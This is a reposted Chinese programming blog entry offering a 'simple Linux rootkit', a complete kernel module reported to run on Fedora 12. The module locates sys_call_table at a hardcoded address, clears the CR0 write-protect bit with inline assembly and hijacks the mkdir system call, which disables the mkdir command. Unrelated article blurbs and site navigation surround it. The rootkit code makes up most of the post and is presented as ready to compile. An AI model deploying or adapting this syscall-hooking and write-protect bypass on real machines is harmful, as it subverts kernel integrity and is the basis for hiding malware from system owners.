热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

hooksyscalltableandclearcr0

一个简单的linuxrootkit2011-01-1714:58http:hi.baidu.comshazi129blogitem53974aec2f0fc5c32e2e21f1.
一个简单的linux rootkit
2011-01-17 14:58
http://hi.baidu.com/shazi129/blog/item/53974aec2f0fc5c32e2e21f1.html

下面提供一个相对完整的rootkit,在Fedora 12上编译运行成功。

#include
#include
#include

MODULE_LICENSE("GPL");

// addr of sys_call_talbe = 0xc077e3a8,这个值是在/boot目录下,System.map或是以System.map打头的文件中找到的。
void ** sys_call_table = (void **)0xc077e3a8;

int (*orig_mkdir)(const char *path); //定义一个函数指正,用于保存挟制以前的初始值

int hack_mkdir(const char * path) //定义一个替换函数,它将用来替换某个系统调用
{
        printk("<0> this is in hack_mkdir\n");
        return 0;
}

/*下面两个函数比较重要&#xff0c;因为在较新的内核中&#xff0c;sys_call_table的内存是只读的&#xff0c;详见entry_32.S:

.section .rodata,"a"
#include "syscall_table_32.S"

但我们可以通过该cr0寄存器的第16位来取消写保护&#xff0c;cr0寄存器如下&#xff1a;


第16位WP位&#xff0c;它控制是否允许处理器向标志为只读属性的内存页写入数据&#xff0c;如果WP&#61;0, 禁用写保护功能。

*/

unsigned int clear_cr0(void) // 将WP清0&#xff0c;并返回清0前的值
{
        unsigned int cr0 &#61; 0;
        unsigned int ret;
        asm volatile("movl %%cr0, %%eax"
                :"&#61;a"(cr0)
                );
        ret &#61; cr0;
        cr0 &&#61; 0xfffeffff;
        asm volatile("movl %%eax, %%cr0"
                :
                :"a"(cr0)
                );
                return ret;
}

void setback_cr0(unsigned int val) // 将cr0设为val
{
        asm volatile("movl %%eax, %%cr0"
                :
                :"a"(val)
                );
}

static int __init begin(void)
{
        unsigned int cr0;
        orig_mkdir &#61; sys_call_table[__NR_mkdir]; //保存mkdir原来的的地址
        printk("<0> sys_call_table[__NR_mkdir] &#61; %x\n",  (unsigned int)sys_call_table[__NR_mkdir]);


        cr0 &#61; clear_cr0();
        sys_call_table[__NR_mkdir] &#61; hack_mkdir; //挟持
        setback_cr0(cr0);
   
        printk("<0> sys_call_table[__NR_mkdir] &#61; %x\n", (unsigned int)sys_call_table[__NR_mkdir]);

  
        return 0;
}

static void __exit end(void)
{
        int cr0;
        cr0 &#61; clear_cr0();
        sys_call_table[__NR_mkdir] &#61; orig_mkdir; //恢复mkdir系统调用
        setback_cr0(cr0); 
}

module_init(begin);
module_exit(end);
运行效果&#xff1a;

加载模块后&#xff0c;mkdir命令失效。



转:https://www.cnblogs.com/chingliu/archive/2011/08/26/2223806.html



推荐阅读
  • 本文详细介绍了GetModuleFileName函数的用法,该函数可以用于获取当前模块所在的路径,方便进行文件操作和读取配置信息。文章通过示例代码和详细的解释,帮助读者理解和使用该函数。同时,还提供了相关的API函数声明和说明。 ... [详细]
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • Linux磁盘的分区、格式化的观察和操作步骤
    本文介绍了如何观察Linux磁盘的分区状态,使用lsblk命令列出系统上的所有磁盘列表,并解释了列表中各个字段的含义。同时,还介绍了使用parted命令列出磁盘的分区表类型和分区信息的方法。在进行磁盘分区操作时,根据分区表类型选择使用fdisk或gdisk命令,并提供了具体的分区步骤。通过本文,读者可以了解到Linux磁盘分区和格式化的基本知识和操作步骤。 ... [详细]
  • HDFS2.x新特性
    一、集群间数据拷贝scp实现两个远程主机之间的文件复制scp-rhello.txtroothadoop103:useratguiguhello.txt推pushscp-rr ... [详细]
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • 本文讨论了clone的fork与pthread_create创建线程的不同之处。进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合。在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性。但是二者之间的通讯需要通过专门的通讯机制,另外通过fork创建子进程系统开销很大。因此,在某些情况下,使用clone或pthread_create创建线程可能更加高效。 ... [详细]
  • 如何去除Win7快捷方式的箭头
    本文介绍了如何去除Win7快捷方式的箭头的方法,通过生成一个透明的ico图标并将其命名为Empty.ico,将图标复制到windows目录下,并导入注册表,即可去除箭头。这样做可以改善默认快捷方式的外观,提升桌面整洁度。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 浏览器中的异常检测算法及其在深度学习中的应用
    本文介绍了在浏览器中进行异常检测的算法,包括统计学方法和机器学习方法,并探讨了异常检测在深度学习中的应用。异常检测在金融领域的信用卡欺诈、企业安全领域的非法入侵、IT运维中的设备维护时间点预测等方面具有广泛的应用。通过使用TensorFlow.js进行异常检测,可以实现对单变量和多变量异常的检测。统计学方法通过估计数据的分布概率来计算数据点的异常概率,而机器学习方法则通过训练数据来建立异常检测模型。 ... [详细]
author-avatar
手机用户2502887763
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有